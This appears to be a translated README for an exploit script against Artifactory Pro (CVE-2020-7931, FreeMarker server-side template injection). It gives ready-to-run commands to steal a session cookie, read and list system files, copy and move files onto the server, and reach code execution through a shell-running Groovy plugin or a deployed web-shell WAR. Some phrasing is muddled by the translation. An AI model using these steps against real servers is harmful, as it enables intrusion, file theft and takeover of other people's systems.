
서버 측 템플릿 인젝션을 통한 Artifactory 해킹
CVE-2020-7931은 Artifactory에서 의도적인 구성 오류 취약점으로, 공격자가 FreeMarker 템플릿을 통해 서버 측 템플릿 인젝션을 수행할 수 있게 합니다.
이 취약점은 Atredis의 Ryan Hanson이 발견했으며, 2019년 후반에 모든 영향을 받는 버전에 대해 수정되었습니다. 이 취약점은 템플릿 기능이 없는 다른 버전과 달리 Artifactory Pro 버전에서만 작동합니다.
템플릿은 첫 번째 GET 매개변수를 가져와 원하는 동작을 결정합니다. 유효한 동작은 다음과 같습니다:
info Returns info about the current configuration
read <filepath> Reads a file, as is
read_bytes <filepath> Reads a file binarily as integers
list <dirpath> List a directory contents
create_file <filepath> Create an empty file
mkdir <dirpath> Create a folder
delete <filepath> Delete a file or empty folder
move <src> <dst> Move a file (*)
copy <scr_path> <src_file> <dst> Copy a file to the application's web root. Pay attention to the quirky arguments (**)
(*): move는 Java renameTo 메서드를 사용하는데, 이는 서로 다른 파일 시스템 간에는 작동하지 않습니다. 서로 다른 파일 시스템 간 이동을 수행하려면 복사 후 이동을 사용해야 합니다. 자세한 내용은 아래를 참조하세요.
(**): source는 기본 경로와 파일 이름으로 분할되어야 하며, 대상은 Artifactory의 웹 애플리케이션 루트 경로를 기준으로 합니다(예: /opt/jfrog/artifactory/tomcat/webapps/artifactory/).
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
[-c COOKIE] [-U UPLOAD] [-g]
[-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
[-R REPOSITORY_NAME]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-c COOKIE, --cookie COOKIE
-U UPLOAD, --upload UPLOAD
-g, --get_cookie
-d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
-e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
-r, --reload_plugins
-R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
Default: example-repo-local
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password
앞서 보았듯이 renameTo()는 서로 다른 파일 시스템에서 작동하지 않습니다. 이를 구현하려면 먼저 파일을 복사한 다음 이동하십시오(즉시 수행하지 않으면 Artifactory가 충돌할 수 있습니다!):
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla
(***): 앞서 설명한 대로, 여기서 /bla는 실제로 /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla를 가리킵니다. root.write()는 반드시 현재 애플리케이션의 웹 루트에 쓰기 때문입니다.
이를 통해 아티팩트를 별도의 파일 시스템에 저장하는 구성(이는 올바른 관행입니다!)을 악용할 수 있습니다.
기본 Artifactory 설치에서는 클래스를 인스턴스화할 수 없으므로 일반적인 freemarker.template.utility.Execute 트릭은 작동하지 않습니다.
파일 시스템을 조작하여 원격 코드 실행을 얻는 다른 여러 방법이 있습니다:
다음은 셸 실행을 수행하는 Groovy 플러그인의 예입니다. 더 자세한 예제는 여기에서 확인할 수 있습니다:
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
플러그인은 플러그인 경로 /var/opt/jfrog/artifactory/etc/plugins/에 배치되어야 하며, Artifactory 관리자 권한이 필요한 API 호출을 사용하여 다시 로드해야 합니다:
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r
다음은 웹쉘을 구현하는 Tomcat 서블릿입니다.
WAR 파일은 Tomcat 웹앱 경로 /opt/jfrog/artifactory/tomcat/webapps/에 배치되어야 합니다. 기본적으로 WAR 파일 배포는 자동으로 이루어지며 Artifactory 인스턴스 옆에 다른 웹 애플리케이션(예: http://localhost:8081/sample/)이 시작됩니다.
이는 Artifactory 관리자 권한이 필요하지 않으며 즉석에서 명령을 실행하기가 더 간단하기 때문에 선호되는 방법입니다.